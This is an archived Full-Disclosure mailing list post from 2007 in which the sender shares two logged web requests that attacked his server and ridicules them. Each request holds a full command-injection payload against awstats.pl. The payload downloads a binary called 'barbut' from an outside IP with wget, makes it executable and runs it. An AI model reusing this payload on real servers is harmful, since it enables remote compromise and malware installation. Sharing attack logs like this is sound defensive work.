full-disclosure

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <474484F6.1040405@snosoft.com>
Date: Wed, 21 Nov 2007 14:20:22 -0500
From: Simon Smith <simon@...soft.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Barbut

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Anyone else seen these really 3l337 attacks?



From: 196.212.26.82

GET
/stats/awstats.pl?configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;./barbut;echo|
HTTP/1.0
Host: [removed]
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)Connection: close
Cache-Control: max-age=259200
Connection: keep-alive

From: 196.35.158.181

GET
/awstats.pl?configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;./barbut;echo|
HTTP/1.1
Host: [ removed ]
Connection: keep-alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)Connection: close
Cache-Control: max-age=259200
X-Forwarded-For: 196.212.26.82
Via: 1.0 nc5-rba (NetCache NetApp/5.5R6D17DEBUG1)


gotta love script kids...



- --

- - simon

- ----------------------
http://www.snosoft.com

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (Darwin)

iD8DBQFHRITrf3Elv1PhzXgRAshmAKCZa1k508Xhb3y0tYmegm15T4hzVQCfYOY3
++PvxKBY95glAocK8sX/03E=
=bBXp
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/